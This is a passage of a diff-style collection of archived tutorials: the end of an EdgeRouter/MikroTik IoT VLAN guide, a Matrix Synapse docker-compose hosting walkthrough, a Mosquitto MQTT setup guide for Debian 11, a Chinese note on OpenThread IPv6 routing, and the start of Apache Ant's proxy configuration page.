3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.870/1.083/1.290/0.172 ms
```
**Result:** Devices on the main network *can* reach the IOT network.
---
## Summary
This tutorial has shown how you can secure IOT devices from the main network by setting up a Virtual Local Area Network (**VLAN**) with firewall rules between an Ubiquiti Networks™ EdgeMAX® **EdgeRouter™ X**, and a MikroTik **CSS610-8G-2S+IN** switch running **SwOS Lite**.
---
## References
**EdgeRouter™ X**
[https://www.ui.com/edgemax/edgerouter-x/](https://www.ui.com/edgemax/edgerouter-x/)
**CSS610-8G-2S+IN**
[https://mikrotik.com/product/css610\_8g\_2s\_in](https://mikrotik.com/product/css610_8g_2s_in)
**SwOS Lite Manual**
[https://wiki.mikrotik.com/wiki/SwOS/CSS610](https://wiki.mikrotik.com/wiki/SwOS/CSS610)
**EdgeOS v2.0.9-hotfix.1 firmware**
[https://www.ui.com/download/edgemax/default/default/edgerouter-er-xer-x-sfpep-r6er-10x-firmware-v209-hotfix1](https://www.ui.com/download/edgemax/default/default/edgerouter-er-xer-x-sfpep-r6er-10x-firmware-v209-hotfix1)
**SwOS Lite 2.13**
[https://www.mikrotik.com/download](https://www.mikrotik.com/download)
**RFC1918 Private Internets**
[https://tools.ietf.org/html/rfc1918](https://tools.ietf.org/html/rfc1918)
@@ -0,0 +1,523 @@
---
page-title: "Matrix.org - Understanding Synapse Hosting"
url: https://matrix.org/docs/older/understanding-synapse-hosting/
date: "2024-12-25 10:09:17"
---
## Older documentation
This documentation hasn't been updated in a while. Some information might no longer be valid.
There may be more up to date information in [the new documentation section](https://matrix.org/docs).
## Understanding Synapse Hosting
In this tutorial were going to deploy a synapse instance with docker-compose. This tutorial is about getting a first hands-on experience with Synapse, but it is **NOT** a guide to deploying Synapse in production. Some best practices are missing for a production server. If you want to deploy Synapse to production, you most probably want at least:
- Monitoring
- Backups
- Joining the Matrix rooms or subscribing to the mailing-lists/RSS feeds to know when one of the components you use has a new release
For production setups, please see the relevant doc on [https://matrix-org.github.io/synapse/latest/](https://matrix-org.github.io/synapse/latest/)
## Defining What We Want
When deploying our own instance, we need to define what domain we want for our user IDs and room aliases, and take care about not leaving the door open to abusers, even in small experimental deployments.
### How Our MatrixID Will Look Like
Two very important concepts for the end-user in matrix are user IDs and room IDs.
- A typical user ID would be `@john:example.org`. Its made of a username (john) and a provider domain (example.org).
- A typical room address would be `#myroom:example.org`
Instead of example.org, we will want our own domain. In many cases, the root domain is already used to serve a website or another service. Some people decide to use a subdomain, like `matrix.example.org`, resulting in Matrix IDs following the format `@john:matrix.example.org`.
While this works in practice, the `matrix.` subdomain looks redundant: were already chatting on Matrix, no need to tell me the person is on Matrix. Its possible to keep serving Synapse on `matrix.example.org` but to still have `@john:example.org` Matrix ID, thanks to [delegation of incoming traffic](https://github.com/matrix-org/synapse/blob/develop/docs/delegate.md).
Lets be careful nonetheless: its not possible to change the domain of an instance! Once you deploy it with a domain, its forever. This is why we are going to set-up delegation of incoming traffic from the beginning, even if we dont have anything else served on the root domain at the moment.
### Not Leaving the Door Open
When setting up a Synapse instance, leaving registrations completely open without any sort of verification is a good way to get our server abused as a spam vector and added to many other servers blocklist.
You probably either want to close registrations entirely, add email or captcha verification, or even better: only allow registrations for email addresses matching a certain pattern (e.g. to restrict registrations to everyone in your organisation as long as they have a @example.org email address).
In any case, by default Synapse wont start if you leave registrations completely open without verification and without bypassing that security setting. In our example well close registrations entirely, and create accounts manually.
### General Concepts
On the infrastructure level, we will need to have a machine exposed to the Internet, and a domain name. The simplest way to get these is to rent a VPS at a provider and buy a domain at a registrar. Renting the VPS and buying the domain will not be covered in this tutorial. For the sake of transparency, we used a VPS from the German provider [Netcup](https://www.netcup.eu/), and bought a domain from [Gandi](https://www.gandi.net/).
Were also going to deploy Synapse using docker containers: one for Synapse itself, one for the database Synapse relies on, one for a web server required to set-up delegation of incoming traffic, and one for the reverse proxy.
The reverse proxy were going to use is traefik. Its the entry door for incoming traffic on our server. We will use it to secure connections by retrieving a certificate automatically, and to route the calls to the proper containers.
Finally, given containers are stateless, we will need to rely on volumes to persist the data. This is where the data and configuration files are stored.
## The Bare Minimum We Need
### A VPS with a public IP
Capacity planning is a notably difficult task when hosting a service. In the case of Matrix, the CPU, RAM and disk space usage grows essentially with the number of high traffic rooms your users are in.
A 100 users deployment in a closed federation can still be considered a fairly small deployment. A five users deployment in open federation and with users in large traffic rooms such as Matrix HQ can be more resource intensive.
Were not going to cover how to monitor resources usage and how to scale a deployment in this tutorial: the goal is to get a first hands-on deployment for fun, so were going to deploy it on a reasonably small VPS.
### Docker and docker-compose
We assume you know what docker and docker-compose are, and that they are installed on a fresh server. You can find the documentation for docker and docker compose [on dockers documentation centre](https://docs.docker.com/compose/).
### A domain name
In this particular example we chose Gandi, but any registrar will do. Synapse needs a domain name to be able to build Matrix IDs and room aliases, and you need to be able to at least add A records (and ideally AAAA, which were not going to cover in this tutorial for the sake of simplicity).
## Lets Get Our Hands Dirty!
### The Global Architecture
![Basic architecture of Synapse deployment with docker compose](https://matrix.org/docs/legacy/understanding-synapse-hosting-architecture.png "Basic architecture of Synapse deployment with docker compose")
### Adding DNS records
Assuming your domain name is example.org, you need to add A records to your VPS for the following domains:
- example.org
- matrix.example.org
### docker-compose structure
A docker-compose file is used to describe what containers we want to set-up, what volumes they are going to rely on, and how to reach each container from the outside world.
Here is a dummy docker-compose file that only starts a nginx instance, for reference:
```
version: '3'
services:
nginx:
image: "nginx:1.23.1"
restart: "always"
volumes:
- nginx_conf:/etc/nginx/conf.d
volumes:
nginx_conf:
```
### Setting up a database
Lets start by going to our home directory, and create a directory called `infra`. In that directory, we are going to create a docker-compose.yaml file with the following content. This will create a PostgreSQL database for our Synapse instance.
```
version: '3'
services:
synapse_db:
image: docker.io/postgres:14-alpine
restart: unless-stopped
environment:
- POSTGRES_USER=synapse
- POSTGRES_PASSWORD=aComplexPassphraseNobodyCanGuess
- POSTGRES_INITDB_ARGS=--encoding=UTF-8 --lc-collate=C --lc-ctype=C
volumes:
- synapse_db_data:/var/lib/postgresql/data
volumes:
synapse_db_data:
```
An important note here: storing credentials in plain text in the docker-compose file is a bad practice. If you want to use this set-up in the longer run, please check [docker compose and secrets](https://docs.docker.com/compose/compose-file/compose-file-v3/#secrets).
We can now start the container by running `docker-compose up -d`. We can check the container is running with docker ps:
```
[root@v2202112135873173933 infra]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8abcc08fa546 postgres:14-alpine "docker-entrypoint.s…" 14 seconds ago Up 13 seconds 5432/tcp infra-synapse_db-1
```
It may look like the database is open on the Internet… but its actually not. The container is listening on port 5432 on dockers internal network. You can verify its not actually open by running `ss -tunlp`
```
[root@v2202112135873173933 infra]# ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.1:323 0.0.0.0:* users:(("chronyd",pid=735,fd=5))
udp UNCONN 0 0 [::1]:323 [::]:* users:(("chronyd",pid=735,fd=6))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=14338,fd=3))
tcp LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=14338,fd=4))
```
And now lets check the logs by running `docker logs infra-synapse_db-1`. The output should look like below:
```
[root@v2202112135873173933 infra]# docker logs -f infra-synapse_db-1
[…]
PostgreSQL init process complete; ready for start up.
2022-07-26 14:27:31.860 UTC [1] LOG: starting PostgreSQL 14.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 11.2.1_git20220219) 11.2.1 20220219, 64-bit
2022-07-26 14:27:31.860 UTC [1] LOG: listening on IPv4 address "0.0.0.0", port 5432
2022-07-26 14:27:31.860 UTC [1] LOG: listening on IPv6 address "::", port 5432
2022-07-26 14:27:31.861 UTC [1] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2022-07-26 14:27:31.863 UTC [50] LOG: database system was shut down at 2022-07-26 14:27:31 UTC
2022-07-26 14:27:31.866 UTC [1] LOG: database system is ready to accept connections
```
We can check if the user synapse was created by trying to connect to the database. To do so, lets get the shell inside the postgresql container by running `docker exec -it infra_synapse_db_1 /bin/bash`. We should now be able to use the built-in SQL client by running `psql -U synapse -W`. We will be prompted for our password. We need to use the `POSTGRES_PASSWORD` declared in the docker-compose file. The output should look like as follows
```
bash-5.1# psql -U synapse -W Password: psql (14.4) Type "help" for help.
synapse=#
```
We can close the sql client by simultaneously pressing the Ctrl and D keys, which will get us back to the postgresql docker container prompt. We can exit it too by pressing Ctrl and D once again.
### Setting up Synapse
Its now time to set up Synapse itself! First of all, we need to generate a sample configuration file for our homeserver. To do so, lets ask a disposable synapse container to generate the sample configuration file for us. You only need to edit the value of the SYNAPSE\_SERVER\_NAME to the value you want for the server part of your Matrix IDs, and SYNAPSE\_REPORT\_STATS depending on whether you want to report anonymous stats or not.
```
[root@v2202112135873173933 infra]# docker run -it --rm --mount type=volume,src=infra_synapse_data,dst=/data -e SYNAPSE_SERVER_NAME=example.org -e SYNAPSE_REPORT_STATS=yes matrixdotorg/synapse:v1.63.0 generate
Setting ownership on /data to 991:991
Creating log config /data/example.org.log.config
Generating config file /data/homeserver.yaml
Generating signing key file /data/example.org.signing.key
A config file has been generated in '/data/homeserver.yaml' for server name 'example.org'. Please review this file and customise it to your needs.
```
The container generated several files. The first one were going to have a look at is the homeserver.yaml file, which contains all the basic information to allow our server to run. Docker volumes data is located in `/var/lib/docker/volumes/your_volume_name/_data`. We asked this container to generate the files in the `infra_synapse_data` volumes. Lets have a look at `/var/lib/docker/volumes/infra_synapse_data/_data/homeserver.yaml` and see what it contains:
```
server_name: "example.org"
pid_file: /data/homeserver.pid
listeners:
- port: 8008
tls: false
type: http
x_forwarded: true
resources:
- names: [client, federation]
compress: false
database:
name: sqlite3
args:
database: /data/homeserver.db
log_config: "/data/example.org.log.config"
media_store_path: /data/media_store
registration_shared_secret: "REDACTED"
report_stats: true
macaroon_secret_key: "REDACTED"
form_secret: "REDACTED"
signing_key_path: "/data/example.org.signing.key"
trusted_key_servers:
- server_name: "matrix.org"
```
What a pleasant surprise, its fairly short! Synapse indeed tries to have safe and sane defaults, and allows administrators to add options to tweak their configuration if they needed. The complete reference of every single option and what they do can be found at [https://matrix-org.github.io/synapse/latest/usage/configuration/index.html](https://matrix-org.github.io/synapse/latest/usage/configuration/index.html)
And the good news is that we are just going to edit the database section: were going to make Synapse connect to the PostgreSQL database we have set up earlier. [According to Synapses documentation](https://matrix-org.github.io/synapse/latest/usage/configuration/config_documentation.html#database), we need to edit the database section so it looks like the following instead of the sql3 default:
```
database:
name: psycopg2
txn_limit: 10000
args:
user: synapse
password: aComplexPassphraseNobodyCanGuess
database: synapse
host: infra-synapse_db-1
port: 5432
cp_min: 5
cp_max: 10
```
We can save the file. Lets edit our docker-compose.yaml file to add Synapse, and give it the volumes it needs to persist data:
```
version: '3'
services:
synapse:
image: docker.io/matrixdotorg/synapse:v1.63.0
restart: unless-stopped
environment:
- SYNAPSE_CONFIG_PATH=/data/homeserver.yaml
volumes:
- synapse_data:/data
depends_on:
- synapse_db
synapse_db:
image: docker.io/postgres:14-alpine
restart: unless-stopped
environment:
- POSTGRES_USER=synapse
- POSTGRES_PASSWORD=aComplexPassphraseNobodyCanGuess
- POSTGRES_INITDB_ARGS=--encoding=UTF-8 --lc-collate=C --lc-ctype=C
volumes:
- synapse_db_data:/var/lib/postgresql/data
volumes:
synapse_data:
synapse_db_data:
```
We can now start Synapse by entering `docker compose up -d` and monitor what is happening with `docker logs -f infra-synapse-1`. It should give us pretty verbose output, as follows:
```
[root@v2202112135873173933 infra]# docker logs -f infra-synapse-1
Starting synapse with args -m synapse.app.homeserver --config-path /data/homeserver.yaml
This server is configured to use 'matrix.org' as its trusted key server via the
'trusted_key_servers' config option. 'matrix.org' is a good choice for a key
server since it is long-lived, stable and trusted. However, some admins may
wish to use another server for this purpose.
To suppress this warning and continue using 'matrix.org', admins should set
'suppress_key_server_warning' to 'true' in homeserver.yaml.
--------------------------------------------------------------------------------
2022-07-26 15:35:47,966 - root - 343 - WARNING - main - ***** STARTING SERVER *****
2022-07-26 15:35:47,966 - root - 344 - WARNING - main - Server /usr/local/lib/python3.9/site-packages/synapse/app/homeserver.py version 1.63.0
2022-07-26 15:35:47,966 - root - 349 - INFO - main - Server hostname: chipchop.org
2022-07-26 15:35:47,966 - root - 350 - INFO - main - Instance name: master
2022-07-26 15:35:47,966 - synapse.app.homeserver - 377 - INFO - main - Setting up server
2022-07-26 15:35:47,966 - synapse.server - 306 - INFO - main - Setting up.
2022-07-26 15:35:47,967 - synapse.storage.databases - 66 - INFO - main - [database config 'master']: Checking database server
2022-07-26 15:35:47,967 - synapse.storage.databases - 69 - INFO - main - [database config 'master']: Preparing for databases ['main', 'state']
2022-07-26 15:35:47,967 - synapse.storage.prepare_database - 115 - INFO - main - ['main', 'state']: Checking existing schema version
2022-07-26 15:35:47,968 - synapse.storage.prepare_database - 145 - INFO - main - ['main', 'state']: Initialising new database
2022-07-26 15:35:48,009 - synapse.storage.prepare_database - 411 - INFO - main - Applying schema deltas for v55
2022-07-26 15:35:48,010 - synapse.storage.prepare_database - 519 - INFO - main - Applying schema 55/access_token_expiry.sql
2022-07-26 15:35:48,012 - synapse.storage.prepare_database - 519 - INFO - main - Applying schema 55/track_threepid_validations.sql
2022-07-26 15:35:48,012 - synapse.storage.prepare_database - 519 - INFO - main - Applying schema 55/users_alter_deactivated.sql
[…]
```
We can quit watching the logs by pressing the Ctrl and C keys simultaneously. Voilà! We have a Synapse instance using our PostgreSQL database. Now we need to expose it properly on the internet, and set-up the delegation of incoming traffic.
### Serving the .well-known files
So far, we have configured our Synapse instance, but its not exposed on the Internet at all. It can only be accessed from within the docker network. While we specified the Synapse instance is going to generate Matrix IDs with “example.org” as a server part, we wont expose the Synapse instance on the root domain itself. If the domain was exclusively used for Matrix that could work. But if we want to host a website on example.org, then we need to expose our Matrix instance somewhere else.
We are going to expose our instance on matrix.example.org. We need a way to tell other members of the federation that even if our Matrix IDs are on example.org, the actual technical server is on matrix.example.org: this is what delegation of incoming traffic is for.
This can be done by serving two static files:
- example.org/.well-known/matrix/server and
- example.org/.well-known/matrix/client
One simple way to do it is to set-up a nginx homeserver and to instruct it to serve those files directly in its configuration file. Lets add the nginx server in our docker-compose file:
```
version: '3'
services:
nginx:
image: "nginx:1.22.0"
restart: "always"
volumes:
- nginx_conf:/etc/nginx/conf.d
synapse:
image: docker.io/matrixdotorg/synapse:v1.63.0
restart: unless-stopped
environment:
- SYNAPSE_CONFIG_PATH=/data/homeserver.yaml
volumes:
- synapse_data:/data
depends_on:
- synapse_db
synapse_db:
image: docker.io/postgres:14-alpine
restart: unless-stopped
environment:
- POSTGRES_USER=synapse
- POSTGRES_PASSWORD=aComplexPassphraseNobodyCanGuess
- POSTGRES_INITDB_ARGS=--encoding=UTF-8 --lc-collate=C --lc-ctype=C
volumes:
- synapse_db_data:/var/lib/postgresql/data
volumes:
nginx_conf:
synapse_data:
synapse_db_data:
```
We can then start the container for it to populate the `nginx_conf` volume with `docker compose up -d`
Lets now edit the /var/lib/docker/volumes/infra\_nginx\_conf/\_data/default.conf file, to add the following at the bottom of the file right before the closing `}`:
```
location /.well-known/matrix/server {
access_log off;
add_header Access-Control-Allow-Origin *;
default_type application/json;
return 200 '{"m.server": "matrix.example.org:443"}';
}
location /.well-known/matrix/client {
access_log off;
add_header Access-Control-Allow-Origin *;
default_type application/json;
return 200 '{"m.homeserver": {"base_url": "https://matrix.example.org"}}';
}
```
We can now restart the nginx container with docker restart infra-nginx-1. Given the server is not exposed outside of the docker network, we need to get a prompt inside the container to check the files are properly served. We can get it with `docker exec -it infra-nginx-1 /bin/bash`
Once inside the container, we can use curl to ask for these files:
```
root@66a61467b9ba:/# curl -X GET "http://localhost/.well-known/matrix/server"
{"m.server": "matrix.example.org:443"}
root@66a61467b9ba:/# curl -X GET "http://localhost/.well-known/matrix/client"
{"m.homeserver":{"base_url": "https://matrix.example.org"}}
```
We can now exit the container prompt by pressing the Ctrl and D keys simultaneously.
### Exposing on the Internet with a Reverse Proxy
Everything is in place, now we only have to expose the relevant bits of our infrastructure on the Internet! This mainly means the nginx server, and the Synapse instance. Of course, we want to keep our database private and only accessible by containers within the docker network.
To do so were going to rely on traefik, which adds a lot of sugar when it comes to routing external calls to the right containers. Traefik also handles the Lets Encrypt certificates management to make sure the traffic remains encrypted and that our certificates never expire.
The first thing we need to do is to add a traefik container in our docker-compose file, to map the docker socket to the traefik container so it can do its magic, and to give it a volume so it can store the certificates and associated keypairs. Our docker-compose file should look like below. Make sure to update the `certificatesresolvers.letls.acme.email` label to an email address where you can be reached out to.
```
version: '3'
services:
traefik:
image: "traefik"
restart: "always"
command:
- "--api=true"
- "--providers.docker=true"
- "--providers.docker.exposedbydefault=false"
- "--entrypoints.web.address=:80"
- "--entrypoints.websecure.address=:443"
- "--certificatesresolvers.letls.acme.email=admin@example.org"
- "--certificatesresolvers.letls.acme.storage=/certs/acme.json"
- "--certificatesresolvers.letls.acme.httpchallenge=true"
- "--certificatesresolvers.letls.acme.httpchallenge.entrypoint=web"
ports:
- "443:443"
- "80:80"
volumes:
- "/var/run/docker.sock:/var/run/docker.sock:ro"
- "traefik_certs:/certs"
nginx:
image: "nginx:1.22.0"
restart: "always"
volumes:
- nginx_conf:/etc/nginx/conf.d
synapse:
image: docker.io/matrixdotorg/synapse:v1.63.0
restart: unless-stopped
environment:
- SYNAPSE_CONFIG_PATH=/data/homeserver.yaml
volumes:
- synapse_data:/data
depends_on:
- synapse_db
synapse_db:
image: docker.io/postgres:14-alpine
restart: unless-stopped
environment:
- POSTGRES_USER=synapse
- POSTGRES_PASSWORD=aComplexPassphraseNobodyCanGuess
- POSTGRES_INITDB_ARGS=--encoding=UTF-8 --lc-collate=C --lc-ctype=C
volumes:
- synapse_db_data:/var/lib/postgresql/data
volumes:
traefik_certs:
nginx_conf:
synapse_data:
synapse_db_data:
```
Now lets check traefik is actually listening to the outside world with `ss -tunlp`:
```
[root@v2202112135873173933 infra]# ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.1:323 0.0.0.0:* users:(("chronyd",pid=735,fd=5))
udp UNCONN 0 0 [::1]:323 [::]:* users:(("chronyd",pid=735,fd=6))
tcp LISTEN 0 4096 0.0.0.0:443 0.0.0.0:* users:(("docker-proxy",pid=110990,fd=4))
tcp LISTEN 0 4096 0.0.0.0:80 0.0.0.0:* users:(("docker-proxy",pid=111025,fd=4))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=14338,fd=3))
tcp LISTEN 0 4096 [::]:443 [::]:* users:(("docker-proxy",pid=110997,fd=4))
tcp LISTEN 0 4096 [::]:80 [::]:* users:(("docker-proxy",pid=111032,fd=4))
tcp LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=14338,fd=4))
```
Fantastic! But thats only the first step: traefik does listen to the outside world, but it doesnt know where to route calls yet. For that were going to rely on labels. Lets start with something straightforward: were going to route all the calls to our root domain example.org to the nginx container serving the `.well-known` files.
The nginx section of our docker-compose file should look like below. Of course, adapt the labels to your own domain.
```
nginx:
image: "nginx:1.22.0"
restart: "always"
volumes:
- nginx_conf:/etc/nginx/conf.d
labels:
- "traefik.enable=true"
- "traefik.http.routers.nginx.entrypoints=websecure"
- "traefik.http.routers.nginx.rule=Host(`example.org`)"
- "traefik.http.routers.nginx.tls=true"
- "traefik.http.routers.nginx.tls.certresolver=letls"
```
We can then restart containers with `docker compose up -d`. Traefik might need a few minutes to retrieve the certificates, but you should now be able to reach [https://example.org/.well-known/matrix/server](https://example.org/.well-known/matrix/server) and [https://example.org/.well-known/matrix/client](https://example.org/.well-known/matrix/client) from your browser! Wee!
Lets now expose Synapse on its technical URL as well by adding some labels in the docker-compose file. The synapse section should look like below. Of course, here again adapt the labels to your own domain.
```
synapse:
image: docker.io/matrixdotorg/synapse:v1.63.0
restart: unless-stopped
environment:
- SYNAPSE_CONFIG_PATH=/data/homeserver.yaml
volumes:
- synapse_data:/data
depends_on:
- synapse_db
labels:
- traefik.enable=true
- traefik.http.routers.synapse.entrypoints=websecure
- traefik.http.routers.synapse.rule=Host(`matrix.example.org`)
- traefik.http.routers.synapse.tls=true
- traefik.http.routers.synapse.tls.certresolver=letls
```
We can try to reach https://matrix.example.org… and it should answer!
![Synapse serving its static page, behind nginx](https://matrix.org/docs/legacy/understanding-synapse-hosting-nginx.png "Synapse serving its static page, behind nginx")
### Creating an account, and logging in
It looks like our server is online, thats fantastic! Lets connect to our new Matrix account then! But wait… registrations are closed by default on Synapse. We cant register using a web client. Lets get a prompt in the Synapse container with `docker exec -it infra-synapse-1 /bin/bash` to manually register a new user using the `register_new_matrix_user -c /data/homeserver.yaml http://localhost:8008` command:
```
root@e752d46bc5f2:/# register_new_matrix_user -c /data/homeserver.yaml http://localhost:8008
New user localpart [root]: myuserid
Password:
Confirm password:
Make admin [no]:
Sending registration request...
Success!
```
Voilà! We can now head to [https://app.element.io](https://app.element.io/), select our example.org domain instead of matrix.org, and log in with this new account! Congratulations, you set-up your own homeserver the hard way!
@@ -0,0 +1,121 @@
---
page-title: "Mosquitto MQTT Installation Guide for Debian 11: Easy Setup - Shapehost"
url: https://shape.host/resources/mosquitto-mqtt-installation-guide-for-debian-11-easy-setup
date: "2024-12-19 17:52:04"
---
## Introduction
In this article, we will guide you through the process of installing and configuring Mosquitto MQTT Message Broker on a Debian 11 server. Mosquitto is a free and open-source message broker implementation of the MQTT protocol. It is a lightweight and efficient solution that is widely used for IoT (Internet of Things) and other messaging applications.
## Prerequisites
Before we begin, make sure you have the following requirements:
1. A Debian 11 server For this tutorial, we will use a server with the hostname mosquitto-server.
2. A non-root user with root/administrator privileges.
## Step 1: Installing Mosquitto Server and Client
To install Mosquitto on Debian 11, follow these steps:
1. Update and refresh your Debian package index by running the following command:
sudo apt update
2. Search for the Mosquitto package using the following command:
sudo apt search mosquitto
3. Install the Mosquitto server and client packages by running the following command:
sudo apt install mosquitto mosquitto\-clients
4. Verify that the Mosquitto service is enabled and running by using the following command:
sudo systemctl is\-enabled mosquitto
sudo systemctl status mosquitto
## Step 2: Setting up Authentication on Mosquitto
By default, Mosquitto does not have authentication enabled. To secure your Mosquitto deployment, it is recommended to enable authentication. Follow these steps to set up authentication on Mosquitto:
1. Create a new Mosquitto user and password by running the following command:
sudo mosquitto\_passwd \-c /etc/mosquitto/.passwd shapehost
Replace shapehost with your desired username.
2. Create a new Mosquitto configuration file by running the following command:
sudo nano /etc/mosquitto/conf.d/auth.conf
3. Add the following configuration to the file:
listener 1883
allow\_anonymous false
password\_file /etc/mosquitto/.passwd
4. Save the file and exit the editor.
5. Restart the Mosquitto service to apply the new changes:
sudo systemctl restart mosquitto
## Step 3: Securing Mosquitto with SSL/TLS Certificates
To enhance the security of your Mosquitto installation, you can enable SSL/TLS certificates. Follow these steps to secure your Mosquitto deployment:
1. Generate the dhparam certificate by running the following command:
sudo openssl dhparam \-out /etc/mosquitto/certs/dhparam.pem 2048
2. Change the ownership of the Mosquitto certs directory to the user mosquitto:
sudo chown \-R mosquitto: /etc/mosquitto/certs
3. Create a new additional configuration file for SSL/TLS by running the following command:
sudo nano /etc/mosquitto/conf.d/ssl.conf
4. Add the following configuration to the file:
listener 8883
certfile /etc/letsencrypt/live/msqt.shapehost.io/fullchain.pem
cafile /etc/letsencrypt/live/msqt.shapehost.io/chain.pem
keyfile /etc/letsencrypt/live/msqt.shapehost.io/privkey.pem
dhparamfile /etc/mosquitto/certs/dhparam.pem
5. Save the file and exit the editor.
6. Restart the Mosquitto service to apply the new changes:
sudo systemctl restart mosquitto
## Step 4: Enabling WebSockets on Mosquitto
WebSockets allow for a persistent full-duplex communication channel between the server and the client. To enable WebSockets on Mosquitto, follow these steps:
1. Create a new configuration file for WebSockets by running the following command:
sudo nano /etc/mosquitto/conf.d/websockets.conf
2. Add the following configuration to the file:
listener 8083
protocol websockets
certfile /etc/letsencrypt/live/msqt.shapehost.io/fullchain.pem
cafile /etc/letsencrypt/live/msqt.shapehost.io/chain.pem
keyfile /etc/letsencrypt/live/msqt.shapehost.io/privkey.pem
3. Save the file and exit the editor.
4. Restart the Mosquitto service to apply the new changes:
sudo systemctl restart mosquitto
## Conclusion
In this article, we have provided a step-by-step guide on how to install and configure Mosquitto MQTT Message Broker on a Debian 11 server. We covered topics such as installing Mosquitto, setting up authentication, securing Mosquitto with SSL/TLS certificates, and enabling WebSockets. By following these instructions, you can create a secure and reliable MQTT message broker for your IoT and messaging applications.
For more advanced features and reliable cloud hosting solutions, consider exploring the services provided by Shape.host, such as [Cloud VPS](https://shape.host/). Shape.host offers scalable and secure cloud hosting solutions to empower businesses with efficient and reliable infrastructure.
![](https://secure.gravatar.com/avatar/8498086cb004b7532f55372bb539c5ed?s=110&d=mm&r=g)
##### Christian Wells
@@ -0,0 +1,21 @@
---
page-title: "OpenThread 节点访问局域网服务器的配置方法 - YP.Lam"
url: https://yplam.com/IOT/openthread/openthread-connect-lan/
date: "2024-12-13 11:14:08"
---
## OpenThread 节点访问局域网服务器的配置方法[¶](https://yplam.com/IOT/openthread/openthread-connect-lan/#openthread "Permanent link")
搭建好 OpenThread 网络,并且可以通过 TAYGA NAT64 访问外部网络,然而却出现一个问题,就是 OpenThread 节点无法 PING 通局域网内的其他服务器,这对服务端应用的开发造成障碍。这是什么原因造成的呢?
在该服务器上运行 Wireshark 抓包,发现服务器实际上已经接收到节点发送过来的 PING request 包,但却没有回复 PING reply。参考网上资料,添加以下路由:
```
sudo route -A inet6 add fd11:22::/64 gw fd40:2d04:3c20::1
```
问题解决,猜想其原因是服务器不知道按哪个路径回复 PING 请求。
参考资料:
- [https://groups.google.com/g/openthread-users/c/38ladIxYDs4/m/RyiwIO0QDAAJ](https://groups.google.com/g/openthread-users/c/38ladIxYDs4/m/RyiwIO0QDAAJ)
- [https://forum.openwrt.org/t/ipv6-router-advertisement-details-how-do-routers-announce-themselves-without-announcing-a-prefix-for-use/54059](https://forum.openwrt.org/t/ipv6-router-advertisement-details-how-do-routers-announce-themselves-without-announcing-a-prefix-for-use/54059)
@@ -0,0 +1,146 @@
---
page-title: "Proxy Configuration"
url: https://ant.apache.org/manual/proxy.html
date: "2024-12-05 11:12:43"
---
## Proxy Configuration
This page discussing proxy issues on command-line Apache Ant. Consult your IDE documentation for IDE-specific information upon proxy setup.
All tasks and threads running in Ant's JVM share the same HTTP/FTP/Socks proxy configuration.
When any task tries to retrieve content from an HTTP page, including the `<get>` task, any automated URL retrieval in an XML/XSL task, or any third-party task that uses the `java.net.URL` classes, the proxy settings may make the difference between success and failure.
Anyone authoring a build file behind a blocking firewall will immediately appreciate the problems and may want to write a build file to deal with the problem, but users of third party build build files may find that the build file itself does not work behind the firewall.
This is a long standing problem with Java and Ant. The only way to fix it is to explicitly configure Ant with the proxy settings, either by passing down the proxy details as JVM properties, or to tell Ant on a Java 5+ system to have the JVM work it out for itself.
### Java 5+ proxy support
*Since Ant 1.7*
When Ant starts up, if the \-autoproxy command is supplied, Ant sets the `java.net.useSystemProxies` system property. This tells a Java 5+ runtime to use the current set of property settings of the host environment. Other JVMs, such as Kaffe and Apache Harmony, may also use this property in future. It is ignored on the Java 1.4 and earlier runtimes.
This property maybe enough to give command-line Ant builds network access, although in practise the results are inconsistent.
It is has also been reported a breaking the IBM Java 5 runtime on AIX, and does not always work on Linux (presumably due to missing `gconf` settings) Other odd things can go wrong, like Oracle JDBC drivers or pure Java SVN clients.
To make the \-autoproxy option the default, add it to the environment variable `ANT_ARGS`, which contains a list of arguments to pass to Ant on every command line run.
#### How Autoproxy works
The `java.net.useSystemProxies` is checked only once, at startup time, the other checks (registry, `gconf`, system properties) are done dynamically whenever needed (socket connection, URL connection etc..).
##### Windows
The JVM goes straight to the registry, bypassing WinInet, as it is not present/consistent on all supported Windows platforms (it is part of IE, really). Java 7 may use the Windows APIs on the platforms when it is present.
##### Linux
The JVM uses the `gconf` library to look at specific entries. The `GConf-2` settings used are:
- /system/http\_proxy/use\_http\_proxy boolean
- /system/http\_proxy/use\_authentication boolean
- /system/http\_proxy/host string
- /system/http\_proxy/authentication\_user string
- /system/http\_proxy/authentication\_password string
- /system/http\_proxy/port int
- /system/proxy/socks\_host string
- /system/proxy/mode string
- /system/proxy/ftp\_host string
- /system/proxy/secure\_host string
- /system/proxy/socks\_port int
- /system/proxy/ftp\_port int
- /system/proxy/secure\_port int
- /system/proxy/no\_proxy\_for list
- /system/proxy/gopher\_host string
- /system/proxy/gopher\_port int
If you are using KDE or another GUI than Gnome, you can still use the `gconf-editor` tool to add these entries.
### Manual JVM options
Any JVM can have its proxy options explicitly configured by passing the appropriate \-D system property options to the runtime. Ant can be configured through all its shell scripts via the `ANT_OPTS` environment variable, which is a list of options to supply to Ant's JVM:
For bash:
export ANT\_OPTS="-Dhttp.proxyHost=proxy -Dhttp.proxyPort=8080"
For csh/tcsh:
setenv ANT\_OPTS "-Dhttp.proxyHost=proxy -Dhttp.proxyPort=8080"
If you insert this line into the Ant shell script itself, it gets picked up by all continuous integration tools running on the system that call Ant via the command line.
For Windows, set the `ANT_OPTS` environment variable in the appropriate "My Computer" properties dialog box (XP), "Computer" properties (Vista)
This mechanism works across Java versions, is cross-platform and reliable. Once set, all build files run via the command line will automatically have their proxy setup correctly, without needing any build file changes. It also apparently overrides Ant's automatic proxy settings options.
It is limited in the following ways:
1. Does not work under IDEs. These need their own proxy settings changed
2. Not dynamic enough to deal with laptop configuration changes.
### SetProxy Task
